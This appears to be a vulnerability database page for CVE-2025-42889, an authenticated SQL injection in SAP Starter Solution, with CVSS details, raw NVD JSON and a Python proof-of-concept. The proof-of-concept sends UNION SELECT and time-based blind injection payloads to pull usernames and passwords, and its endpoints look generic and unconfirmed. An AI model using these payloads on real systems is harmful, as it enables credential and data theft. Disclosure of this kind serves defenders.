Security Vulnerability Report
中文
CVE-2025-42889 CVSS 5.4 MEDIUM

CVE-2025-42889

Published: 2025-11-11 01:15:38
Last Modified: 2026-04-15 00:35:42

Description

SAP Starter Solution allows an authenticated attacker to execute crafted database queries, thereby exposing the back-end database. As a result, this vulnerability has a low impact on the application's confidentiality and integrity but no impact on its availability.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP Starter Solution versions prior to patch update (see SAP Note 2886616)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42889 PoC - SAP Starter Solution SQL Injection # Authentication required with low privileges import requests import json target_url = "https://<sap-host>/sap-starter-solution/api/query" # Login to get session token login_data = { "username": "attacker_account", "password": "password123" } session = requests.Session() login_response = session.post(f"{target_url}/auth/login", json=login_data) if login_response.status_code == 200: # SQL Injection payload in query parameter sql_payload = "1' UNION SELECT username, password FROM users--" exploit_data = { "query": sql_payload, "table": "customer_data" } exploit_response = session.post( f"{target_url}/database/execute", json=exploit_data ) print(f"Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # Alternative: Time-based blind SQL injection blind_payload = "1' AND SLEEP(5)--" exploit_data_blind = { "query": blind_payload, "table": "customer_data" } blind_response = session.post( f"{target_url}/database/execute", json=exploit_data_blind )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42889", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Starter Solution allows an authenticated attacker to execute crafted database queries, thereby exposing the back-end database. As a result, this vulnerability has a low impact on the application's confidentiality and integrity but no impact on its availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/2886616", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}